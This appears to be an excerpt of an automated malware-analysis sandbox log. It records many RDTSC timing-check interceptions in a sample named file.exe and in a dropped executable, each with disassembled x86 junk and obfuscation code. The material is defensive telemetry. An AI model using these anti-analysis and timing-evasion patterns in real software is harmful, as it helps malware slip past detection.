Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F319 second address: 102F36D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0825h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dl, 2Fh 0x0000000f push dword ptr [ebp+122D3314h] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F6EC0DB0818h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f call 00007F6EC0DB0819h 0x00000034 pushad 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F36D second address: 102F3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F6EC0DB0658h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jnp 00007F6EC0DB0656h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 jp 00007F6EC0DB065Ch 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 push esi 0x00000024 js 00007F6EC0DB065Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10305CD second address: 10305F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6EC0DB081Ah 0x0000000c jmp 00007F6EC0DB0823h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032325 second address: 1032329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032329 second address: 1032332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033E7F second address: 1033E84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02E0 second address: 4DC0314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, ECEBh 0x0000000f call 00007F6EC0DB0820h 0x00000014 mov ecx, 4F348451h 0x00000019 pop ecx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0314 second address: 4DC031A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC031A second address: 4DC0370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6EC0DB0827h 0x00000009 xor si, 01EEh 0x0000000e jmp 00007F6EC0DB0829h 0x00000013 popfd 0x00000014 call 00007F6EC0DB0820h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0370 second address: 4DC0375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC03FE second address: 4DC041B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC041B second address: 4DC0421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0421 second address: 4DC0425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0425 second address: 4DC0432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46EA9 second address: F46EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0535 second address: 4DC0548 instructions: 0x00000000 rdtsc 0x00000002 mov ah, EEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, 45FEBDE8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0548 second address: 4DC054C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC054C second address: 4DC0552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0552 second address: 4DC0558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0558 second address: 4DC055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC055C second address: 4DC0560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0560 second address: 4DC056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC056F second address: 4DC05F3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6EC0DB0822h 0x00000008 sub cx, 5B78h 0x0000000d jmp 00007F6EC0DB081Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007F6EC0DB0828h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e mov ebx, 05F49784h 0x00000023 call 00007F6EC0DB081Dh 0x00000028 pushad 0x00000029 popad 0x0000002a pop esi 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 jmp 00007F6EC0DB081Ch 0x00000035 pop eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F6EC0DB0827h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC05F3 second address: 4DC0649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6EC0DB065Fh 0x00000009 adc eax, 333AA2AEh 0x0000000f jmp 00007F6EC0DB0669h 0x00000014 popfd 0x00000015 jmp 00007F6EC0DB0660h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d call 00007F6F3222400Fh 0x00000022 push 762327D0h 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov eax, dword ptr [esp+10h] 0x00000032 mov dword ptr [esp+10h], ebp 0x00000036 lea ebp, dword ptr [esp+10h] 0x0000003a sub esp, eax 0x0000003c push ebx 0x0000003d push esi 0x0000003e push edi 0x0000003f mov eax, dword ptr [762C0140h] 0x00000044 xor dword ptr [ebp-04h], eax 0x00000047 xor eax, ebp 0x00000049 push eax 0x0000004a mov dword ptr [ebp-18h], esp 0x0000004d push dword ptr [ebp-08h] 0x00000050 mov eax, dword ptr [ebp-04h] 0x00000053 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005a mov dword ptr [ebp-08h], eax 0x0000005d lea eax, dword ptr [ebp-10h] 0x00000060 mov dword ptr fs:[00000000h], eax 0x00000066 ret 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a mov edx, 4530A840h 0x0000006f mov esi, ebx 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0649 second address: 4DC064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC064F second address: 4DC0653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0653 second address: 4DC06A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F6EC0DB0828h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007F6EC0DB0820h 0x00000019 mov esi, edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6EC0DB0827h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC06A5 second address: 4DC06D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007F6EC0DB0660h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov al, byte ptr [edx] 0x00000010 pushad 0x00000011 movzx eax, di 0x00000014 pushad 0x00000015 mov di, 69BCh 0x00000019 mov ax, di 0x0000001c popad 0x0000001d popad 0x0000001e inc edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov di, cx 0x00000025 mov edx, eax 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC06D8 second address: 4DC06DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC06DE second address: 4DC06E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC06E2 second address: 4DC06D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0823h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e jmp 00007F6EC0DB0824h 0x00000013 push ecx 0x00000014 mov cx, bx 0x00000017 pop edx 0x00000018 popad 0x00000019 jne 00007F6EC0DB07B6h 0x0000001f mov al, byte ptr [edx] 0x00000021 pushad 0x00000022 movzx eax, di 0x00000025 pushad 0x00000026 mov di, 69BCh 0x0000002a mov ax, di 0x0000002d popad 0x0000002e popad 0x0000002f inc edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov di, cx 0x00000036 mov edx, eax 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0798 second address: 4DC07F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 5601A5CEh 0x00000008 jmp 00007F6EC0DB065Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 dec edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6EC0DB065Bh 0x0000001a or si, 232Eh 0x0000001f jmp 00007F6EC0DB0669h 0x00000024 popfd 0x00000025 jmp 00007F6EC0DB0660h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC07F2 second address: 4DC07F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC07F8 second address: 4DC0839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b jmp 00007F6EC0DB0669h 0x00000010 mov al, byte ptr [edi+01h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F6EC0DB0663h 0x0000001b mov dx, si 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0839 second address: 4DC0878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 jmp 00007F6EC0DB0827h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc edi 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 popad 0x00000013 test al, al 0x00000015 jmp 00007F6EC0DB081Ah 0x0000001a jne 00007F6F32218A2Bh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, dx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0878 second address: 4DC087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC087D second address: 4DC0909 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 pushfd 0x00000006 jmp 00007F6EC0DB0827h 0x0000000b xor ecx, 6E5D036Eh 0x00000011 jmp 00007F6EC0DB0829h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, edx 0x0000001c pushad 0x0000001d mov ax, 3993h 0x00000021 mov ch, DBh 0x00000023 popad 0x00000024 shr ecx, 02h 0x00000027 pushad 0x00000028 jmp 00007F6EC0DB0821h 0x0000002d mov si, 8AD7h 0x00000031 popad 0x00000032 rep movsd 0x00000034 rep movsd 0x00000036 rep movsd 0x00000038 rep movsd 0x0000003a rep movsd 0x0000003c jmp 00007F6EC0DB081Ah 0x00000041 mov ecx, edx 0x00000043 jmp 00007F6EC0DB0820h 0x00000048 and ecx, 03h 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e mov si, 3153h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0909 second address: 4DC09C2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6EC0DB0668h 0x00000008 adc esi, 6186AED8h 0x0000000e jmp 00007F6EC0DB065Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 rep movsb 0x00000019 jmp 00007F6EC0DB0665h 0x0000001e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000025 pushad 0x00000026 pushad 0x00000027 mov ebx, eax 0x00000029 jmp 00007F6EC0DB0666h 0x0000002e popad 0x0000002f mov ecx, 5EBA37F1h 0x00000034 popad 0x00000035 mov eax, ebx 0x00000037 pushad 0x00000038 push edx 0x00000039 jmp 00007F6EC0DB0664h 0x0000003e pop eax 0x0000003f popad 0x00000040 mov ecx, dword ptr [ebp-10h] 0x00000043 jmp 00007F6EC0DB0661h 0x00000048 mov dword ptr fs:[00000000h], ecx 0x0000004f jmp 00007F6EC0DB065Eh 0x00000054 pop ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09C2 second address: 4DC09C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09C6 second address: 4DC09CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09CA second address: 4DC09D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09D0 second address: 4DC09D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09D6 second address: 4DC09EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, di 0x0000000f mov edi, 589463F6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC09EB second address: 4DC0535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB065Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F6EC0DB0660h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 movsx edx, si 0x00000014 popad 0x00000015 leave 0x00000016 pushad 0x00000017 call 00007F6EC0DB0662h 0x0000001c jmp 00007F6EC0DB0662h 0x00000021 pop eax 0x00000022 mov dx, 7966h 0x00000026 popad 0x00000027 retn 0008h 0x0000002a cmp dword ptr [ebp-2Ch], 10h 0x0000002e mov eax, dword ptr [ebp-40h] 0x00000031 jnc 00007F6EC0DB0655h 0x00000033 push eax 0x00000034 lea edx, dword ptr [ebp-00000590h] 0x0000003a push edx 0x0000003b call esi 0x0000003d push 00000008h 0x0000003f jmp 00007F6EC0DB0665h 0x00000044 call 00007F6EC0DB0659h 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushfd 0x0000004d jmp 00007F6EC0DB065Ah 0x00000052 and esi, 1CB436B8h 0x00000058 jmp 00007F6EC0DB065Bh 0x0000005d popfd 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0B8A second address: 4DC0BB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F6EC0DB0826h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BB4 second address: 4DC0BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BB8 second address: 4DC0BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BD5 second address: 4DC0BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BDB second address: 4DC0BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACAB95 second address: ACAB9A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACAB9A second address: ACABA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACABA5 second address: ACABA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE3F72 second address: AE3F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE40A8 second address: AE40AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE4365 second address: AE43A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB081Fh 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b pushad 0x0000000c jl 00007F6EC0DB0822h 0x00000012 pushad 0x00000013 jmp 00007F6EC0DB0820h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE453D second address: AE4543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE4543 second address: AE4553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB081Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE46D6 second address: AE46F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6EC0DB065Fh 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE46F3 second address: AE4722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0825h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6EC0DB081Ch 0x0000000e popad 0x0000000f jbe 00007F6EC0DB0820h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6970 second address: AE697A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE697A second address: AE69C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0820h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F6EC0DB081Dh 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007F6EC0DB0826h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6EC0DB081Bh 0x00000021 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6BD2 second address: AE6BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6BD6 second address: AE6BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6BE1 second address: AE6C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 jmp 00007F6EC0DB0663h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ebx 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D1A44h], edx 0x00000019 push 00000000h 0x0000001b mov ecx, 7B013272h 0x00000020 push C3E0DA5Ch 0x00000025 pushad 0x00000026 js 00007F6EC0DB0664h 0x0000002c jmp 00007F6EC0DB065Eh 0x00000031 jp 00007F6EC0DB0658h 0x00000037 popad 0x00000038 add dword ptr [esp], 3C1F2624h 0x0000003f mov dword ptr [ebp+122D30BEh], esi 0x00000045 push 00000003h 0x00000047 xor ecx, dword ptr [ebp+122D2CB0h] 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 call 00007F6EC0DB0658h 0x00000057 pop eax 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c add dword ptr [esp+04h], 00000015h 0x00000064 inc eax 0x00000065 push eax 0x00000066 ret 0x00000067 pop eax 0x00000068 ret 0x00000069 and si, 6FA7h 0x0000006e push 00000003h 0x00000070 jmp 00007F6EC0DB065Eh 0x00000075 push AD3D6373h 0x0000007a pushad 0x0000007b push edi 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6C84 second address: AE6C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6C8C second address: AE6CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 12C29C8Dh 0x0000000d adc edx, 52FC2300h 0x00000013 xor dword ptr [ebp+122DBA86h], ecx 0x00000019 lea ebx, dword ptr [ebp+1244B89Bh] 0x0000001f mov dword ptr [ebp+122D2D8Bh], ebx 0x00000025 xchg eax, ebx 0x00000026 jns 00007F6EC0DB0667h 0x0000002c jmp 00007F6EC0DB0661h 0x00000031 push eax 0x00000032 pushad 0x00000033 push edi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6CCE second address: AE6CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AE6CD7 second address: AE6CDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06DF7 second address: B06DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
